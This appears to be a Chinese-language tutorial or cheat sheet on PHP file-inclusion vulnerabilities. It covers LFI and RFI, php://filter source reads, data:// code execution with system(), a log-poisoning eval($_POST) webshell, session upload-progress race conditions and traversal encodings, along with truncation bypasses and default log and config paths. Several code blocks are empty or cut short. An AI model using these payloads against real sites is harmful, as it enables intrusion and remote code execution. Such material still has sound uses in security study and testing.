文件包含漏洞
PHP文件包含漏洞
php文件包含函数
1 | include() # 如果出错的话,只会提出警告,会继续执行后续语句 |
示例代码
1 |
|
LFI本地文件包含
RFI远程文件包含
相较于LFI本地文件包含漏洞其被包含的文件源不从磁盘上获取
php.ini
中需要配置
1 | allow_url_fopen = On |
allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off
PHP伪协议
php://
协议
php://input 用于执行php代码
allow_url_include = On
allow_url_fopen = ON/OFF
1 |
|
php://filter
用于读写源码
allow_url_include = On/OFF
allow_url_fopen = ON/OFF
1 | ?file=php://filter/convert.base64-encode/resource=flag.php |
解码
1 | >>> import base64 |
写文件file_put_contents
1 | file_put_contents(urldecode($file),"<?php exit();".$content); |
$content
在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了(这个过程在实战中十分常见,通常出现在缓存、配置文件等等地方,不允许用户直接访问的文件,都会被加上if(!defined(xxx))exit;之类的限制)
rot13偏移写入(PHP不开启short_open_tag
短标签)
1 | php://filter/write=string.rot13/resource=rot.php |
urldecode()
文件名编码两次
访问写入的文件
base64写入文件
1 | file_put_contents(urldecode($file), "<?php die();?>".$content); |
base64在解码的时候是将4个字节转化为3个字节,
phpdie
6个字符我们就要添加2个字符让前面的可以进行编码
以下两种情况详见file_put_content和死亡·杂糅代码之缘
1 | file_put_contents($content,"<?php exit();".$content); |
其他编码
1 |
|
1 | payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php |
data:// 数据流封装器
协议格式:
data://:资源类型;编码,内容
当allow_url_include
打开的时候,任意文件包含就会成为任意命令执行
allow_url_fopen :on
allow_url_include:on
php 版本大于等于 php5.2
1 |
|
利用方式:
1 | http://127.0.0.1/sec/test.php?a=data://text/plain,<?php system("ipconfig") ?> |
data://
中//
可省略
phar://
php版本大于等于php5.3.0
文件phpinfo.txt
,打包成zip压缩包test.zip
1 | # 绝对路径 |
zip://
php 版本大于等于 php5.3.0+绝对路径
文件zipd.txt
,打包成zip压缩包test.zip
1 | http://127.0.0.1/wahaha.php?a=zip://C:\Users\DropAnn\Desktop\test.zip%23zipd.txt |
包含日志文件
先插入(请求)后包含
<?=eval($_POST[6]);?>
同理,注意UA中不解码
日志和配置文件默认存放路径
文件 | 路径 |
---|---|
apache+Linux日志默认路径 | /etc/httpd/logs/access_log或/var/log/httpd/access_log |
apache+win2003日志默认路径 | D:\xampp\apache\logs\access.log以及D:\xampp\apache\logs\error.log |
IIS6.0+win2003默认日志文件 | C:\WINDOWS\system32\Logfiles |
IIS7.0+win2003 默认日志文件 | %SystemDrive%\inetpub\logs\LogFiles |
nginx 日志文件 | 用户安装目录logs目录下(/usr/local/nginx/logs)/var/log/nginx/access.log |
apache+linux 默认配置文件 | /etc/httpd/conf/httpd.conf或index.php?page=/etc/init.d/httpd |
IIS6.0+win2003 配置文件 | C:/Windows/system32/inetsrv/metabase.xml |
IIS7.0+WIN 配置文件 | C:\Windows\System32\inetsrv\config\applicationHost.config |
session包含
session存储过程
添加后会在默认目录下生成临时文件
/tmp/sess_aaa
session常见存储路径
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
利用条件
知道session存储位置
代码中存在session_start()
或者session.auto_start=On
或session.auto_start = 1
PHP在接收请求的时候会自动初始化Session,默认情况下,这个选项都是关闭的。
拥有读写session文件的权限
PHP_SESSION_UPLOAD_PRGRESS竞争条件
在php5.4后php.ini中添加
1 | 1. session.upload_progress.enabled = on |
enabled=on
表示php将会把文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;默认配置
session.upload_progress.cleanup = on
导致文件上传后,session文件内容立即清空,利用竞争条件,在session文件内容清空前进行包含利用。
测试环境为:php5.5.9
测试代码如下:
1 |
|
测试的时候用了phpstudy,其他情况参考session常见存储路径
payload
1 | import requests as re |
测试结果
利用session.upload_progress进行文件包含和反序列化渗透
绕过方式
指定前缀
1 |
|
目录遍历
同目录包含 file=.htaccess
目录遍历 ?file=../../../../../../../../../var/lib/locate.db
多次编码
利用url编码
../
- %2e%2e%2f
- ..%2f
- %2e%2e/
..\
- %2e%2e%5c
- ..%5c
- %2e%2e\
二次编码 %25
对应的是%
,%2e
对应的是.
,所以 .%252e/
对应的是 ../
../
- %252e%252e%252f
..\
- %252e%252e%255c
容器/服务器的编码方式
../
..%c0%af
%c0%ae%c0%ae/
注:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点)
Apache Tomcat Directory Traversal
..\
- ..%c1%9c
指定后缀
%00截断
magic_quotes_gpc=Off
,而且php版本<5.3.4
1 |
|
长度截断
php版本 < php 5.2.8
目录字符串,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./
达到最大值后缀就会直接被抛弃
url格式
使用远程文件包含注意下面两个配置
1 | allow_url_fopen = On |
query(?)
1 | http://127.0.0.1/test/1.php?a=http://192.168.1.105/phpinfo.php? |
fragment(#)